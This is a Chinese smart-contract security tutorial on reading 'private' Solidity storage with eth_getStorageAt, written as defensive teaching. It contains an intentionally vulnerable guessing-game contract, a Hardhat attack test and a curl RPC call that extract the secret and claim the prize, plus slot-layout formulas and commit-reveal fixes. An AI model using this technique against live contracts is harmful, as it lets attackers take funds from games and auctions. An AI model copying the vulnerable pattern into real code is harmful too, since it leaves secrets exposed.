10分钟智能合约:进阶实战-5.6 获取私密数据

39 阅读4分钟

欢迎订阅专栏10分钟智能合约:进阶实战

实战4:区块链隐私误区 —— 如何读取合约的“私密”数据

在区块链的世界里,没有真正的隐私。任何写入链上的数据,无论是否标记为 private,都是公开可读的。本实战将通过一个猜数字游戏,演示攻击者如何利用 eth_getStorageAt 直接读取存储槽,轻松获取本应“保密”的秘密数字,从而赢得奖励。


一、场景设定

我们设计了一个简单的猜数字游戏(Guess The Number):

  • 合约部署时,管理员设定一个 0~100 的整数作为答案,存储在 private 变量中。
  • 玩家每次调用 guess(uint256) 并支付 0.1 ETH,如果猜中,可获得 1 ETH 奖励。
  • 开发者认为 private 变量无法被外部读取,因此是安全的。

现实:任何节点都可以通过 JSON-RPC 接口读取任意存储槽的数据,private 修饰符仅阻止 Solidity 编译器生成默认的 getter 函数,对链下观察者毫无阻碍。


二、漏洞合约(SecretGame.sol)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SecretGame {
    address public owner;
    uint256 private secretNumber;   // ❌ 自以为隐藏
    bool public gameActive;

    event GuessResult(address indexed player, bool correct);

    constructor(uint256 _secret) {
        owner = msg.sender;
        secretNumber = _secret;
        gameActive = true;
    }

    function guess(uint256 _num) external payable {
        require(gameActive, "Game ended");
        require(msg.value == 0.1 ether, "Must send 0.1 ETH");

        bool correct = (_num == secretNumber);
        emit GuessResult(msg.sender, correct);

        if (correct) {
            gameActive = false;
            payable(msg.sender).transfer(1 ether);
        }
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }

    function endGame() external onlyOwner {
        gameActive = false;
    }
}

漏洞分析

  • secretNumber 存储在存储槽 1(因为 owner 占用槽 0,gameActive 占用槽 2)。
  • 使用 eth_getStorageAt(合约地址, 1) 可以立即读取该值。
  • 攻击者无需部署额外合约,只需直接调用 JSON-RPC 即可。

三、攻击方法(两种实现)

方法 1:使用 ethers.js(Hardhat 测试环境)

// test/attack.js
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("攻破私密变量", function () {
    let game, owner, attacker;

    beforeEach(async function () {
        [owner, attacker] = await ethers.getSigners();
        const Game = await ethers.getContractFactory("SecretGame");
        game = await Game.deploy(42);          // 秘密数字为 42
        await game.deployed();
        await owner.sendTransaction({ to: game.address, value: ethers.utils.parseEther("5") });
    });

    it("攻击者读取存储槽并获胜", async function () {
        // 1. 读取存储槽 1(secretNumber 的位置)
        const secretHex = await ethers.provider.getStorageAt(game.address, 1);
        const secretNumber = ethers.BigNumber.from(secretHex).toNumber();
        console.log(`[+] 秘密数字: ${secretNumber}`);   // 输出 42

        // 2. 调用 guess,附带 0.1 ETH
        await game.connect(attacker).guess(secretNumber, {
            value: ethers.utils.parseEther("0.1"),
        });

        // 3. 验证游戏已结束,攻击者获得奖励
        expect(await game.gameActive()).to.be.false;
        const balance = await ethers.provider.getBalance(attacker.address);
        // 净收益约 0.9 ETH(忽略 gas)
        console.log(`攻击者余额: ${ethers.utils.formatEther(balance)} ETH`);
    });
});

方法 2:使用 curl 直接调用 JSON-RPC(通用)

# 读取槽 1 的数据
curl -X POST -H "Content-Type: application/json" --data '{
  "jsonrpc":"2.0",
  "method":"eth_getStorageAt",
  "params":["0x你的合约地址", "0x1", "latest"],
  "id":1
}' https://mainnet.infura.io/v3/你的项目ID

返回的十六进制字符串即为秘密数字(转换为十进制即可)。


四、如何定位存储槽

Solidity 的状态变量按声明顺序从槽 0 开始分配。对于复杂类型:

类型存储位置规则
定长类型uint256, address, bool 等)每个变量占用一个槽(或按需填充)。
固定长度数组(如 uint256[10]从声明的槽开始连续存储所有元素。
动态数组(如 uint256[]p 存储数组长度;元素从 keccak256(p) 开始。
映射(如 mapping(address => uint)k 对应的值存储在 keccak256(k . p),其中 . 表示连接。

计算映射键的示例(读取某地址的余额)

// 假设 mapping(address => uint) public balances 在槽 0
const slot = 0;
const key = ethers.utils.solidityKeccak256(
    ["uint256", "uint256"],
    [ethers.utils.hexZeroPad(addr, 32), slot]
);
const value = await provider.getStorageAt(contractAddress, key);

对于动态数组,读取第 i 个元素:

const index = i;
const slot = 1; // 动态数组在槽 1 声明
const key = ethers.utils.solidityKeccak256(["uint256"], [slot]);
const valueSlot = ethers.BigNumber.from(key).add(index);
const value = await provider.getStorageAt(contractAddress, valueSlot);

五、防御措施

1. 不要在链上存储秘密(最佳实践)

将敏感数据放在链下,仅存储其哈希。使用**承诺-揭示(Commit-Reveal)**模式:

contract SafeGame {
    mapping(address => bytes32) public commits;

    function commit(bytes32 _commit) external {
        commits[msg.sender] = _commit;
    }

    function reveal(uint256 _answer, bytes32 _secret) external {
        require(keccak256(abi.encodePacked(_answer, _secret)) == commits[msg.sender]);
        // 验证通过后处理奖励
    }
}

用户先提交 keccak256(answer, secret),在验证阶段再提交明文 answersecret,合约验证哈希一致。因为哈希无法逆向,答案在揭示前对所有人隐藏。

2. 使用零知识证明(ZK)

对于高级隐私需求,可使用 zk-SNARKs / zk-STARKs 在完全不暴露原始数据的情况下验证条件。

3. 借助预言机或链下签名

将秘密数据交给受信任的链下服务,通过签名或验证来授权访问。

4. 加密存储(不推荐)

即使加密,密文仍然公开,密钥需链下管理,且存在密钥泄露风险。


六、真实世界教训

  • 各类“Sealed Bid”拍卖:早期项目使用 private 变量存储最高出价,结果被参与者轻松读取,破坏密封性。
  • 链上游戏:许多猜谜、彩票游戏因为隐藏参数暴露而迅速被攻破。
  • 随机数种子:使用私有变量作为随机数源,攻击者可提前计算出结果。

七、总结

  • 区块链上的数据全部公开private 只是 Solidity 层面的访问限制,不是加密
  • 任何存储槽:都可以通过 eth_getStorageAt 读取,无需权限。
  • 必须假设:所有链上状态都是公开的,绝不可依赖其私密性做安全判断。
  • 正确做法:采用哈希承诺、零知识证明或链下存储来保护敏感信息。